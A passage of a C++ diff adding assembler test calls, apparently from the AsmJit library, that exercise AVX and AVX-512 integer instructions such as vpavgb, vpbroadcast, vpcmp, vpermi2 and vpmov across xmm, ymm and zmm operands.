a.vpandq(zmmA, zmmB, anyptr_gpC); + a.vpavgb(xmmA, xmmB, xmmC); + a.vpavgb(xmmA, xmmB, anyptr_gpC); + a.vpavgb(ymmA, ymmB, ymmC); + a.vpavgb(ymmA, ymmB, anyptr_gpC); + a.vpavgb(zmmA, zmmB, zmmC); + a.vpavgb(zmmA, zmmB, anyptr_gpC); + a.vpavgw(xmmA, xmmB, xmmC); + a.vpavgw(xmmA, xmmB, anyptr_gpC); + a.vpavgw(ymmA, ymmB, ymmC); + a.vpavgw(ymmA, ymmB, anyptr_gpC); + a.vpavgw(zmmA, zmmB, zmmC); + a.vpavgw(zmmA, zmmB, anyptr_gpC); + a.vpbroadcastb(xmmA, gdB); + a.vpbroadcastb(xmmA, gzB); + a.vpbroadcastb(xmmA, xmmB); + a.vpbroadcastb(xmmA, anyptr_gpB); + a.vpbroadcastb(ymmA, gdB); + a.vpbroadcastb(ymmA, gzB); + a.vpbroadcastb(ymmA, xmmB); + a.vpbroadcastb(ymmA, anyptr_gpB); + a.vpbroadcastb(zmmA, gdB); + a.vpbroadcastb(zmmA, gzB); + a.vpbroadcastb(zmmA, xmmB); + a.vpbroadcastb(zmmA, anyptr_gpB); + a.vpbroadcastd(xmmA, gdB); + a.vpbroadcastd(xmmA, gzB); + a.vpbroadcastd(xmmA, xmmB); + a.vpbroadcastd(xmmA, anyptr_gpB); + a.vpbroadcastd(ymmA, gdB); + a.vpbroadcastd(ymmA, gzB); + a.vpbroadcastd(ymmA, xmmB); + a.vpbroadcastd(ymmA, anyptr_gpB); + a.vpbroadcastd(zmmA, gdB); + a.vpbroadcastd(zmmA, gzB); + a.vpbroadcastd(zmmA, xmmB); + a.vpbroadcastd(zmmA, anyptr_gpB); + a.vpbroadcastmb2d(xmmA, kB); + a.vpbroadcastmb2d(ymmA, kB); + a.vpbroadcastmb2d(zmmA, kB); + a.vpbroadcastmb2q(xmmA, kB); + a.vpbroadcastmb2q(ymmA, kB); + a.vpbroadcastmb2q(zmmA, kB); + if (isX64) a.vpbroadcastq(xmmA, gzB); + a.vpbroadcastq(xmmA, xmmB); + a.vpbroadcastq(xmmA, anyptr_gpB); + if (isX64) a.vpbroadcastq(ymmA, gzB); + a.vpbroadcastq(ymmA, xmmB); + a.vpbroadcastq(ymmA, anyptr_gpB); + if (isX64) a.vpbroadcastq(zmmA, gzB); + a.vpbroadcastq(zmmA, xmmB); + a.vpbroadcastq(zmmA, anyptr_gpB); + a.vpbroadcastw(xmmA, gdB); + a.vpbroadcastw(xmmA, gzB); + a.vpbroadcastw(xmmA, xmmB); + a.vpbroadcastw(xmmA, anyptr_gpB); + a.vpbroadcastw(ymmA, gdB); + a.vpbroadcastw(ymmA, gzB); + a.vpbroadcastw(ymmA, xmmB); + a.vpbroadcastw(ymmA, anyptr_gpB); + a.vpbroadcastw(zmmA, gdB); + a.vpbroadcastw(zmmA, gzB); + a.vpbroadcastw(zmmA, xmmB); + a.vpbroadcastw(zmmA, anyptr_gpB); + a.vpcmpb(kA, xmmB, xmmC, 0); + a.vpcmpb(kA, xmmB, anyptr_gpC, 0); + a.vpcmpb(kA, ymmB, ymmC, 0); + a.vpcmpb(kA, ymmB, anyptr_gpC, 0); + a.vpcmpb(kA, zmmB, zmmC, 0); + a.vpcmpb(kA, zmmB, anyptr_gpC, 0); + a.vpcmpd(kA, xmmB, xmmC, 0); + a.vpcmpd(kA, xmmB, anyptr_gpC, 0); + a.vpcmpd(kA, ymmB, ymmC, 0); + a.vpcmpd(kA, ymmB, anyptr_gpC, 0); + a.vpcmpd(kA, zmmB, zmmC, 0); + a.vpcmpd(kA, zmmB, anyptr_gpC, 0); + a.vpcmpeqb(kA, xmmB, xmmC); + a.vpcmpeqb(kA, xmmB, anyptr_gpC); + a.vpcmpeqb(kA, ymmB, ymmC); + a.vpcmpeqb(kA, ymmB, anyptr_gpC); + a.vpcmpeqb(kA, zmmB, zmmC); + a.vpcmpeqb(kA, zmmB, anyptr_gpC); + a.vpcmpeqd(kA, xmmB, xmmC); + a.vpcmpeqd(kA, xmmB, anyptr_gpC); + a.vpcmpeqd(kA, ymmB, ymmC); + a.vpcmpeqd(kA, ymmB, anyptr_gpC); + a.vpcmpeqd(kA, zmmB, zmmC); + a.vpcmpeqd(kA, zmmB, anyptr_gpC); + a.vpcmpeqq(kA, xmmB, xmmC); + a.vpcmpeqq(kA, xmmB, anyptr_gpC); + a.vpcmpeqq(kA, ymmB, ymmC); + a.vpcmpeqq(kA, ymmB, anyptr_gpC); + a.vpcmpeqq(kA, zmmB, zmmC); + a.vpcmpeqq(kA, zmmB, anyptr_gpC); + a.vpcmpeqw(kA, xmmB, xmmC); + a.vpcmpeqw(kA, xmmB, anyptr_gpC); + a.vpcmpeqw(kA, ymmB, ymmC); + a.vpcmpeqw(kA, ymmB, anyptr_gpC); + a.vpcmpeqw(kA, zmmB, zmmC); + a.vpcmpeqw(kA, zmmB, anyptr_gpC); + a.vpcmpgtb(kA, xmmB, xmmC); + a.vpcmpgtb(kA, xmmB, anyptr_gpC); + a.vpcmpgtb(kA, ymmB, ymmC); + a.vpcmpgtb(kA, ymmB, anyptr_gpC); + a.vpcmpgtb(kA, zmmB, zmmC); + a.vpcmpgtb(kA, zmmB, anyptr_gpC); + a.vpcmpgtd(kA, xmmB, xmmC); + a.vpcmpgtd(kA, xmmB, anyptr_gpC); + a.vpcmpgtd(kA, ymmB, ymmC); + a.vpcmpgtd(kA, ymmB, anyptr_gpC); + a.vpcmpgtd(kA, zmmB, zmmC); + a.vpcmpgtd(kA, zmmB, anyptr_gpC); + a.vpcmpgtq(kA, xmmB, xmmC); + a.vpcmpgtq(kA, xmmB, anyptr_gpC); + a.vpcmpgtq(kA, ymmB, ymmC); + a.vpcmpgtq(kA, ymmB, anyptr_gpC); + a.vpcmpgtq(kA, zmmB, zmmC); + a.vpcmpgtq(kA, zmmB, anyptr_gpC); + a.vpcmpgtw(kA, xmmB, xmmC); + a.vpcmpgtw(kA, xmmB, anyptr_gpC); + a.vpcmpgtw(kA, ymmB, ymmC); + a.vpcmpgtw(kA, ymmB, anyptr_gpC); + a.vpcmpgtw(kA, zmmB, zmmC); + a.vpcmpgtw(kA, zmmB, anyptr_gpC); + a.vpcmpq(kA, xmmB, xmmC, 0); + a.vpcmpq(kA, xmmB, anyptr_gpC, 0); + a.vpcmpq(kA, ymmB, ymmC, 0); + a.vpcmpq(kA, ymmB, anyptr_gpC, 0); + a.vpcmpq(kA, zmmB, zmmC, 0); + a.vpcmpq(kA, zmmB, anyptr_gpC, 0); + a.vpcmpub(kA, xmmB, xmmC, 0); + a.vpcmpub(kA, xmmB, anyptr_gpC, 0); + a.vpcmpub(kA, ymmB, ymmC, 0); + a.vpcmpub(kA, ymmB, anyptr_gpC, 0); + a.vpcmpub(kA, zmmB, zmmC, 0); + a.vpcmpub(kA, zmmB, anyptr_gpC, 0); + a.vpcmpud(kA, xmmB, xmmC, 0); + a.vpcmpud(kA, xmmB, anyptr_gpC, 0); + a.vpcmpud(kA, ymmB, ymmC, 0); + a.vpcmpud(kA, ymmB, anyptr_gpC, 0); + a.vpcmpud(kA, zmmB, zmmC, 0); + a.vpcmpud(kA, zmmB, anyptr_gpC, 0); + a.vpcmpuq(kA, xmmB, xmmC, 0); + a.vpcmpuq(kA, xmmB, anyptr_gpC, 0); + a.vpcmpuq(kA, ymmB, ymmC, 0); + a.vpcmpuq(kA, ymmB, anyptr_gpC, 0); + a.vpcmpuq(kA, zmmB, zmmC, 0); + a.vpcmpuq(kA, zmmB, anyptr_gpC, 0); + a.vpcmpuw(kA, xmmB, xmmC, 0); + a.vpcmpuw(kA, xmmB, anyptr_gpC, 0); + a.vpcmpuw(kA, ymmB, ymmC, 0); + a.vpcmpuw(kA, ymmB, anyptr_gpC, 0); + a.vpcmpuw(kA, zmmB, zmmC, 0); + a.vpcmpuw(kA, zmmB, anyptr_gpC, 0); + a.vpcmpw(kA, xmmB, xmmC, 0); + a.vpcmpw(kA, xmmB, anyptr_gpC, 0); + a.vpcmpw(kA, ymmB, ymmC, 0); + a.vpcmpw(kA, ymmB, anyptr_gpC, 0); + a.vpcmpw(kA, zmmB, zmmC, 0); + a.vpcmpw(kA, zmmB, anyptr_gpC, 0); + a.vpcompressd(xmmA, xmmB); + a.vpcompressd(anyptr_gpA, xmmB); + a.vpcompressd(ymmA, ymmB); + a.vpcompressd(anyptr_gpA, ymmB); + a.vpcompressd(zmmA, zmmB); + a.vpcompressd(anyptr_gpA, zmmB); + a.vpcompressq(xmmA, xmmB); + a.vpcompressq(anyptr_gpA, xmmB); + a.vpcompressq(ymmA, ymmB); + a.vpcompressq(anyptr_gpA, ymmB); + a.vpcompressq(zmmA, zmmB); + a.vpcompressq(anyptr_gpA, zmmB); + a.vpconflictd(xmmA, xmmB); + a.vpconflictd(xmmA, anyptr_gpB); + a.vpconflictd(ymmA, ymmB); + a.vpconflictd(ymmA, anyptr_gpB); + a.vpconflictd(zmmA, zmmB); + a.vpconflictd(zmmA, anyptr_gpB); + a.vpconflictq(xmmA, xmmB); + a.vpconflictq(xmmA, anyptr_gpB); + a.vpconflictq(ymmA, ymmB); + a.vpconflictq(ymmA, anyptr_gpB); + a.vpconflictq(zmmA, zmmB); + a.vpconflictq(zmmA, anyptr_gpB); + a.vpermb(xmmA, xmmB, xmmC); + a.vpermb(xmmA, xmmB, anyptr_gpC); + a.vpermb(ymmA, ymmB, ymmC); + a.vpermb(ymmA, ymmB, anyptr_gpC); + a.vpermb(zmmA, zmmB, zmmC); + a.vpermb(zmmA, zmmB, anyptr_gpC); + a.vpermd(ymmA, ymmB, ymmC); + a.vpermd(ymmA, ymmB, anyptr_gpC); + a.vpermd(zmmA, zmmB, zmmC); + a.vpermd(zmmA, zmmB, anyptr_gpC); + a.vpermi2b(xmmA, xmmB, xmmC); + a.vpermi2b(xmmA, xmmB, anyptr_gpC); + a.vpermi2b(ymmA, ymmB, ymmC); + a.vpermi2b(ymmA, ymmB, anyptr_gpC); + a.vpermi2b(zmmA, zmmB, zmmC); + a.vpermi2b(zmmA, zmmB, anyptr_gpC); + a.vpermi2d(xmmA, xmmB, xmmC); + a.vpermi2d(xmmA, xmmB, anyptr_gpC); + a.vpermi2d(ymmA, ymmB, ymmC); + a.vpermi2d(ymmA, ymmB, anyptr_gpC); + a.vpermi2d(zmmA, zmmB, zmmC); + a.vpermi2d(zmmA, zmmB, anyptr_gpC); + a.vpermi2pd(xmmA, xmmB, xmmC); + a.vpermi2pd(xmmA, xmmB, anyptr_gpC); + a.vpermi2pd(ymmA, ymmB, ymmC); + a.vpermi2pd(ymmA, ymmB, anyptr_gpC); + a.vpermi2pd(zmmA, zmmB, zmmC); + a.vpermi2pd(zmmA, zmmB, anyptr_gpC); + a.vpermi2ps(xmmA, xmmB, xmmC); + a.vpermi2ps(xmmA, xmmB, anyptr_gpC); + a.vpermi2ps(ymmA, ymmB, ymmC); + a.vpermi2ps(ymmA, ymmB, anyptr_gpC); + a.vpermi2ps(zmmA, zmmB, zmmC); + a.vpermi2ps(zmmA, zmmB, anyptr_gpC); + a.vpermi2q(xmmA, xmmB, xmmC); + a.vpermi2q(xmmA, xmmB, anyptr_gpC); + a.vpermi2q(ymmA, ymmB, ymmC); + a.vpermi2q(ymmA, ymmB, anyptr_gpC); + a.vpermi2q(zmmA, zmmB, zmmC); + a.vpermi2q(zmmA, zmmB, anyptr_gpC); + a.vpermi2w(xmmA, xmmB, xmmC); + a.vpermi2w(xmmA, xmmB, anyptr_gpC); + a.vpermi2w(ymmA, ymmB, ymmC); + a.vpermi2w(ymmA, ymmB, anyptr_gpC); + a.vpermi2w(zmmA, zmmB, zmmC); + a.vpermi2w(zmmA, zmmB, anyptr_gpC); + a.vpermilpd(xmmA, xmmB, xmmC); + a.vpermilpd(xmmA, xmmB, anyptr_gpC); + a.vpermilpd(ymmA, ymmB, ymmC); + a.vpermilpd(ymmA, ymmB, anyptr_gpC); + a.vpermilpd(zmmA, zmmB, zmmC); + a.vpermilpd(zmmA, zmmB, anyptr_gpC); + a.vpermilpd(xmmA, xmmB, 0); + a.vpermilpd(xmmA, anyptr_gpB, 0); + a.vpermilpd(ymmA, ymmB, 0); + a.vpermilpd(ymmA, anyptr_gpB, 0); + a.vpermilpd(zmmA, zmmB, 0); + a.vpermilpd(zmmA, anyptr_gpB, 0); + a.vpermilps(xmmA, xmmB, xmmC); + a.vpermilps(xmmA, xmmB, anyptr_gpC); + a.vpermilps(ymmA, ymmB, ymmC); + a.vpermilps(ymmA, ymmB, anyptr_gpC); + a.vpermilps(zmmA, zmmB, zmmC); + a.vpermilps(zmmA, zmmB, anyptr_gpC); + a.vpermilps(xmmA, xmmB, 0); + a.vpermilps(xmmA, anyptr_gpB, 0); + a.vpermilps(ymmA, ymmB, 0); + a.vpermilps(ymmA, anyptr_gpB, 0); + a.vpermilps(zmmA, zmmB, 0); + a.vpermilps(zmmA, anyptr_gpB, 0); + a.vpermq(ymmA, ymmB, ymmC); + a.vpermq(ymmA, ymmB, anyptr_gpC); + a.vpermq(zmmA, zmmB, zmmC); + a.vpermq(zmmA, zmmB, anyptr_gpC); + a.vpermq(ymmA, ymmB, 0); + a.vpermq(ymmA, anyptr_gpB, 0); + a.vpermq(zmmA, zmmB, 0); + a.vpermq(zmmA, anyptr_gpB, 0); + a.vpermt2b(xmmA, xmmB, xmmC); + a.vpermt2b(xmmA, xmmB, anyptr_gpC); + a.vpermt2b(ymmA, ymmB, ymmC); + a.vpermt2b(ymmA, ymmB, anyptr_gpC); + a.vpermt2b(zmmA, zmmB, zmmC); + a.vpermt2b(zmmA, zmmB, anyptr_gpC); + a.vpermt2d(xmmA, xmmB, xmmC); + a.vpermt2d(xmmA, xmmB, anyptr_gpC); + a.vpermt2d(ymmA, ymmB, ymmC); + a.vpermt2d(ymmA, ymmB, anyptr_gpC); + a.vpermt2d(zmmA, zmmB, zmmC); + a.vpermt2d(zmmA, zmmB, anyptr_gpC); + a.vpermt2pd(xmmA, xmmB, xmmC); + a.vpermt2pd(xmmA, xmmB, anyptr_gpC); + a.vpermt2pd(ymmA, ymmB, ymmC); + a.vpermt2pd(ymmA, ymmB, anyptr_gpC); + a.vpermt2pd(zmmA, zmmB, zmmC); + a.vpermt2pd(zmmA, zmmB, anyptr_gpC); + a.vpermt2ps(xmmA, xmmB, xmmC); + a.vpermt2ps(xmmA, xmmB, anyptr_gpC); + a.vpermt2ps(ymmA, ymmB, ymmC); + a.vpermt2ps(ymmA, ymmB, anyptr_gpC); + a.vpermt2ps(zmmA, zmmB, zmmC); + a.vpermt2ps(zmmA, zmmB, anyptr_gpC); + a.vpermt2q(xmmA, xmmB, xmmC); + a.vpermt2q(xmmA, xmmB, anyptr_gpC); + a.vpermt2q(ymmA, ymmB, ymmC); + a.vpermt2q(ymmA, ymmB, anyptr_gpC); + a.vpermt2q(zmmA, zmmB, zmmC); + a.vpermt2q(zmmA, zmmB, anyptr_gpC); + a.vpermt2w(xmmA, xmmB, xmmC); + a.vpermt2w(xmmA, xmmB, anyptr_gpC); + a.vpermt2w(ymmA, ymmB, ymmC); + a.vpermt2w(ymmA, ymmB, anyptr_gpC); + a.vpermt2w(zmmA, zmmB, zmmC); + a.vpermt2w(zmmA, zmmB, anyptr_gpC); + a.vpermw(xmmA, xmmB, xmmC); + a.vpermw(xmmA, xmmB, anyptr_gpC); + a.vpermw(ymmA, ymmB, ymmC); + a.vpermw(ymmA, ymmB, anyptr_gpC); + a.vpermw(zmmA, zmmB, zmmC); + a.vpermw(zmmA, zmmB, anyptr_gpC); + a.vpexpandd(xmmA, xmmB); + a.vpexpandd(xmmA, anyptr_gpB); + a.vpexpandd(ymmA, ymmB); + a.vpexpandd(ymmA, anyptr_gpB); + a.vpexpandd(zmmA, zmmB); + a.vpexpandd(zmmA, anyptr_gpB); + a.vpexpandq(xmmA, xmmB); + a.vpexpandq(xmmA, anyptr_gpB); + a.vpexpandq(ymmA, ymmB); + a.vpexpandq(ymmA, anyptr_gpB); + a.vpexpandq(zmmA, zmmB); + a.vpexpandq(zmmA, anyptr_gpB); + a.vpextrb(gdA, xmmB, 0); + a.vpextrb(anyptr_gpA, xmmB, 0); + a.vpextrb(gzA, xmmB, 0); + a.vpextrd(gdA, xmmB, 0); + a.vpextrd(anyptr_gpA, xmmB, 0); + if (isX64) a.vpextrd(gzA, xmmB, 0); + if (isX64) a.vpextrq(gzA, xmmB, 0); + a.vpextrq(anyptr_gpA, xmmB, 0); + a.vpextrw(gdA, xmmB, 0); + a.vpextrw(gzA, xmmB, 0); + a.vpextrw(gdA, xmmB, 0); + a.vpextrw(anyptr_gpA, xmmB, 0); + a.vpextrw(gzA, xmmB, 0); + a.vpgatherdd(xmmA, vx_ptr); + a.vpgatherdd(ymmA, vy_ptr); + a.vpgatherdd(zmmA, vz_ptr); + a.vpgatherdq(xmmA, vx_ptr); + a.vpgatherdq(ymmA, vy_ptr); + a.vpgatherdq(zmmA, vz_ptr); + a.vpgatherqd(xmmA, vx_ptr); + a.vpgatherqd(ymmA, vy_ptr); + a.vpgatherqd(zmmA, vz_ptr); + a.vpgatherqq(xmmA, vx_ptr); + a.vpgatherqq(ymmA, vy_ptr); + a.vpgatherqq(zmmA, vz_ptr); + a.vpinsrb(xmmA, xmmB, gdC, 0); + a.vpinsrb(xmmA, xmmB, anyptr_gpC, 0); + a.vpinsrb(xmmA, xmmB, gzC, 0); + a.vpinsrd(xmmA, xmmB, gdC, 0); + a.vpinsrd(xmmA, xmmB, anyptr_gpC, 0); + a.vpinsrd(xmmA, xmmB, gzC, 0); + if (isX64) a.vpinsrq(xmmA, xmmB, gzC, 0); + a.vpinsrq(xmmA, xmmB, anyptr_gpC, 0); + a.vpinsrw(xmmA, xmmB, gdC, 0); + a.vpinsrw(xmmA, xmmB, anyptr_gpC, 0); + a.vpinsrw(xmmA, xmmB, gzC, 0); + a.vplzcntd(xmmA, xmmB); + a.vplzcntd(xmmA, anyptr_gpB); + a.vplzcntd(ymmA, ymmB); + a.vplzcntd(ymmA, anyptr_gpB); + a.vplzcntd(zmmA, zmmB); + a.vplzcntd(zmmA, anyptr_gpB); + a.vplzcntq(xmmA, xmmB); + a.vplzcntq(xmmA, anyptr_gpB); + a.vplzcntq(ymmA, ymmB); + a.vplzcntq(ymmA, anyptr_gpB); + a.vplzcntq(zmmA, zmmB); + a.vplzcntq(zmmA, anyptr_gpB); + a.vpmadd52huq(xmmA, xmmB, xmmC); + a.vpmadd52huq(xmmA, xmmB, anyptr_gpC); + a.vpmadd52huq(ymmA, ymmB, ymmC); + a.vpmadd52huq(ymmA, ymmB, anyptr_gpC); + a.vpmadd52huq(zmmA, zmmB, zmmC); + a.vpmadd52huq(zmmA, zmmB, anyptr_gpC); + a.vpmadd52luq(xmmA, xmmB, xmmC); + a.vpmadd52luq(xmmA, xmmB, anyptr_gpC); + a.vpmadd52luq(ymmA, ymmB, ymmC); + a.vpmadd52luq(ymmA, ymmB, anyptr_gpC); + a.vpmadd52luq(zmmA, zmmB, zmmC); + a.vpmadd52luq(zmmA, zmmB, anyptr_gpC); + a.vpmaddubsw(xmmA, xmmB, xmmC); + a.vpmaddubsw(xmmA, xmmB, anyptr_gpC); + a.vpmaddubsw(ymmA, ymmB, ymmC); + a.vpmaddubsw(ymmA, ymmB, anyptr_gpC); + a.vpmaddubsw(zmmA, zmmB, zmmC); + a.vpmaddubsw(zmmA, zmmB, anyptr_gpC); + a.vpmaddwd(xmmA, xmmB, xmmC); + a.vpmaddwd(xmmA, xmmB, anyptr_gpC); + a.vpmaddwd(ymmA, ymmB, ymmC); + a.vpmaddwd(ymmA, ymmB, anyptr_gpC); + a.vpmaddwd(zmmA, zmmB, zmmC); + a.vpmaddwd(zmmA, zmmB, anyptr_gpC); + a.vpmaxsb(xmmA, xmmB, xmmC); + a.vpmaxsb(xmmA, xmmB, anyptr_gpC); + a.vpmaxsb(ymmA, ymmB, ymmC); + a.vpmaxsb(ymmA, ymmB, anyptr_gpC); + a.vpmaxsb(zmmA, zmmB, zmmC); + a.vpmaxsb(zmmA, zmmB, anyptr_gpC); + a.vpmaxsd(xmmA, xmmB, xmmC); + a.vpmaxsd(xmmA, xmmB, anyptr_gpC); + a.vpmaxsd(ymmA, ymmB, ymmC); + a.vpmaxsd(ymmA, ymmB, anyptr_gpC); + a.vpmaxsd(zmmA, zmmB, zmmC); + a.vpmaxsd(zmmA, zmmB, anyptr_gpC); + a.vpmaxsq(xmmA, xmmB, xmmC); + a.vpmaxsq(xmmA, xmmB, anyptr_gpC); + a.vpmaxsq(ymmA, ymmB, ymmC); + a.vpmaxsq(ymmA, ymmB, anyptr_gpC); + a.vpmaxsq(zmmA, zmmB, zmmC); + a.vpmaxsq(zmmA, zmmB, anyptr_gpC); + a.vpmaxsw(xmmA, xmmB, xmmC); + a.vpmaxsw(xmmA, xmmB, anyptr_gpC); + a.vpmaxsw(ymmA, ymmB, ymmC); + a.vpmaxsw(ymmA, ymmB, anyptr_gpC); + a.vpmaxsw(zmmA, zmmB, zmmC); + a.vpmaxsw(zmmA, zmmB, anyptr_gpC); + a.vpmaxub(xmmA, xmmB, xmmC); + a.vpmaxub(xmmA, xmmB, anyptr_gpC); + a.vpmaxub(ymmA, ymmB, ymmC); + a.vpmaxub(ymmA, ymmB, anyptr_gpC); + a.vpmaxub(zmmA, zmmB, zmmC); + a.vpmaxub(zmmA, zmmB, anyptr_gpC); + a.vpmaxud(xmmA, xmmB, xmmC); + a.vpmaxud(xmmA, xmmB, anyptr_gpC); + a.vpmaxud(ymmA, ymmB, ymmC); + a.vpmaxud(ymmA, ymmB, anyptr_gpC); + a.vpmaxud(zmmA, zmmB, zmmC); + a.vpmaxud(zmmA, zmmB, anyptr_gpC); + a.vpmaxuq(xmmA, xmmB, xmmC); + a.vpmaxuq(xmmA, xmmB, anyptr_gpC); + a.vpmaxuq(ymmA, ymmB, ymmC); + a.vpmaxuq(ymmA, ymmB, anyptr_gpC); + a.vpmaxuq(zmmA, zmmB, zmmC); + a.vpmaxuq(zmmA, zmmB, anyptr_gpC); + a.vpmaxuw(xmmA, xmmB, xmmC); + a.vpmaxuw(xmmA, xmmB, anyptr_gpC); + a.vpmaxuw(ymmA, ymmB, ymmC); + a.vpmaxuw(ymmA, ymmB, anyptr_gpC); + a.vpmaxuw(zmmA, zmmB, zmmC); + a.vpmaxuw(zmmA, zmmB, anyptr_gpC); + a.vpminsb(xmmA, xmmB, xmmC); + a.vpminsb(xmmA, xmmB, anyptr_gpC); + a.vpminsb(ymmA, ymmB, ymmC); + a.vpminsb(ymmA, ymmB, anyptr_gpC); + a.vpminsb(zmmA, zmmB, zmmC); + a.vpminsb(zmmA, zmmB, anyptr_gpC); + a.vpminsd(xmmA, xmmB, xmmC); + a.vpminsd(xmmA, xmmB, anyptr_gpC); + a.vpminsd(ymmA, ymmB, ymmC); + a.vpminsd(ymmA, ymmB, anyptr_gpC); + a.vpminsd(zmmA, zmmB, zmmC); + a.vpminsd(zmmA, zmmB, anyptr_gpC); + a.vpminsq(xmmA, xmmB, xmmC); + a.vpminsq(xmmA, xmmB, anyptr_gpC); + a.vpminsq(ymmA, ymmB, ymmC); + a.vpminsq(ymmA, ymmB, anyptr_gpC); + a.vpminsq(zmmA, zmmB, zmmC); + a.vpminsq(zmmA, zmmB, anyptr_gpC); + a.vpminsw(xmmA, xmmB, xmmC); + a.vpminsw(xmmA, xmmB, anyptr_gpC); + a.vpminsw(ymmA, ymmB, ymmC); + a.vpminsw(ymmA, ymmB, anyptr_gpC); + a.vpminsw(zmmA, zmmB, zmmC); + a.vpminsw(zmmA, zmmB, anyptr_gpC); + a.vpminub(xmmA, xmmB, xmmC); + a.vpminub(xmmA, xmmB, anyptr_gpC); + a.vpminub(ymmA, ymmB, ymmC); + a.vpminub(ymmA, ymmB, anyptr_gpC); + a.vpminub(zmmA, zmmB, zmmC); + a.vpminub(zmmA, zmmB, anyptr_gpC); + a.vpminud(xmmA, xmmB, xmmC); + a.vpminud(xmmA, xmmB, anyptr_gpC); + a.vpminud(ymmA, ymmB, ymmC); + a.vpminud(ymmA, ymmB, anyptr_gpC); + a.vpminud(zmmA, zmmB, zmmC); + a.vpminud(zmmA, zmmB, anyptr_gpC); + a.vpminuq(xmmA, xmmB, xmmC); + a.vpminuq(xmmA, xmmB, anyptr_gpC); + a.vpminuq(ymmA, ymmB, ymmC); + a.vpminuq(ymmA, ymmB, anyptr_gpC); + a.vpminuq(zmmA, zmmB, zmmC); + a.vpminuq(zmmA, zmmB, anyptr_gpC); + a.vpminuw(xmmA, xmmB, xmmC); + a.vpminuw(xmmA, xmmB, anyptr_gpC); + a.vpminuw(ymmA, ymmB, ymmC); + a.vpminuw(ymmA, ymmB, anyptr_gpC); + a.vpminuw(zmmA, zmmB, zmmC); + a.vpminuw(zmmA, zmmB, anyptr_gpC); + a.vpmovb2m(kA, xmmB); + a.vpmovb2m(kA, ymmB); + a.vpmovb2m(kA, zmmB); + a.vpmovd2m(kA, xmmB); + a.vpmovd2m(kA, ymmB); + a.vpmovd2m(kA, zmmB); + a.vpmovdb(xmmA, xmmB); + a.vpmovdb(anyptr_gpA, xmmB); + a.vpmovdb(xmmA, ymmB); + a.vpmovdb(anyptr_gpA, ymmB); + a.vpmovdb(xmmA, zmmB); + a.vpmovdb(anyptr_gpA, zmmB); + a.vpmovdw(xmmA, xmmB); + a.vpmovdw(anyptr_gpA, xmmB); + a.vpmovdw(xmmA, ymmB); + a.vpmovdw(anyptr_gpA, ymmB); + a.vpmovdw(ymmA, zmmB); + a.vpmovdw(anyptr_gpA, zmmB); + a.vpmovm2b(xmmA, kB); + a.vpmovm2b(ymmA, kB); + a.vpmovm2b(zmmA, kB); + a.vpmovm2d(xmmA, kB); + a.vpmovm2d(ymmA, kB); + a.vpmovm2d(zmmA, kB); + a.vpmovm2q(xmmA, kB); + a.vpmovm2q(ymmA, kB); + a.vpmovm2q(zmmA, kB); + a.vpmovm2w(xmmA, kB); + a.vpmovm2w(ymmA, kB); + a.vpmovm2w(zmmA, kB); + a.vpmovq2m(kA, xmmB); + a.vpmovq2m(kA, ymmB); + a.vpmovq2m(kA, zmmB); + a.vpmovqb(xmmA, xmmB); + a.vpmovqb(anyptr_gpA, xmmB); + a.vpmovqb(xmmA, ymmB); + a.vpmovqb(anyptr_gpA, ymmB); + a.vpmovqb(xmmA, zmmB); + a.vpmovqb(anyptr_gpA, zmmB); + a.vpmovqd(xmmA, xmmB); + a.vpmovqd(anyptr_gpA, xmmB); + a.vpmovqd(xmmA, ymmB); + a.vpmovqd(anyptr_gpA, ymmB); + a.vpmovqd(ymmA, zmmB); + a.vpmovqd(anyptr_gpA, zmmB); + a.vpmovqw(xmmA, xmmB); + a.vpmovqw(anyptr_gpA, xmmB); + a.vpmovqw(xmmA, ymmB); + a.vpmovqw(anyptr_gpA, ymmB); + a.vpmovqw(xmmA, zmmB); + a.vpmovqw(anyptr_gpA, zmmB); + a.vpmovsdb(xmmA, xmmB); + a.vpmovsdb(anyptr_gpA, xmmB); + a.vpmovsdb(xmmA, ymmB); + a.vpmovsdb(anyptr_gpA, ymmB); + a.vpmovsdb(xmmA, zmmB); + a.vpmovsdb(anyptr_gpA, zmmB); + a.vpmovsdw(xmmA, xmmB); + a.vpmovsdw(anyptr_gpA, xmmB); + a.vpmovsdw(xmmA, ymmB); + a.vpmovsdw(anyptr_gpA, ymmB); + a.vpmovsdw(ymmA, zmmB); + a.vpmovsdw(anyptr_gpA, zmmB); + a.vpmovsqb(xmmA, xmmB); + a.vpmovsqb(anyptr_gpA, xmmB); + a.vpmovsqb(xmmA, ymmB); + a.vpmovsqb(anyptr_gpA, ymmB); + a.vpmovsqb(xmmA, zmmB); + a.vpmovsqb(anyptr_gpA, zmmB); + a.vpmovsqd(xmmA, xmmB); + a.vpmovsqd(anyptr_gpA, xmmB); + a.vpmovsqd(xmmA, ymmB); + a.vpmovsqd(anyptr_gpA, ymmB); + a.vpmovsqd(ymmA, zmmB); + a.vpmovsqd(anyptr_gpA, zmmB); + a.vpmovsqw(xmmA, xmmB); + a.vpmovsqw(anyptr_gpA, xmmB); + a.vpmovsqw(xmmA, ymmB); + a.vpmovsqw(anyptr_gpA, ymmB); + a.vpmovsqw(xmmA, zmmB); + a.vpmovsqw(anyptr_gpA, zmmB); + a.vpmovswb(xmmA, xmmB); + a.vpmovswb(anyptr_gpA, xmmB); + a.vpmovswb(xmmA, ymmB); + a.vpmovswb(anyptr_gpA, ymmB); + a.vpmovswb(ymmA, zmmB); + a.vpmovswb(anyptr_gpA, zmmB); + a.vpmovsxbd(xmmA, xmmB); + a.vpmovsxbd(xmmA, anyptr_gpB); + a.vpmovsxbd(ymmA, xmmB); + a.vpmovsxbd(ymmA, anyptr_gpB); + a.vpmovsxbd(zmmA, xmmB); + a.vpmovsxbd(zmmA, anyptr_gpB); + a.vpmovsxbq(xmmA, xmmB); + a.vpmovsxbq(xmmA, anyptr_gpB); + a.vpmovsxbq(ymmA, xmmB); + a.vpmovsxbq(ymmA, anyptr_gpB); + a.vpmovsxbq(zmmA, xmmB); + a.vpmovsxbq(zmmA, anyptr_gpB); + a.vpmovsxbw(xmmA, xmmB); + a.vpmovsxbw(xmmA, anyptr_gpB); + a.vpmovsxbw(ymmA, xmmB); + a.vpmovsxbw(ymmA, anyptr_gpB); + a.vpmovsxbw(zmmA, ymmB); + a.vpmovsxbw(zmmA, anyptr_gpB); + a.vpmovsxdq(xmmA, xmmB); + a.vpmovsxdq(xmmA, anyptr_gpB); + a.vpmovsxdq(ymmA, xmmB); + a.vpmovsxdq(ymmA, anyptr_gpB); + a.vpmovsxdq(zmmA, xmmB); + 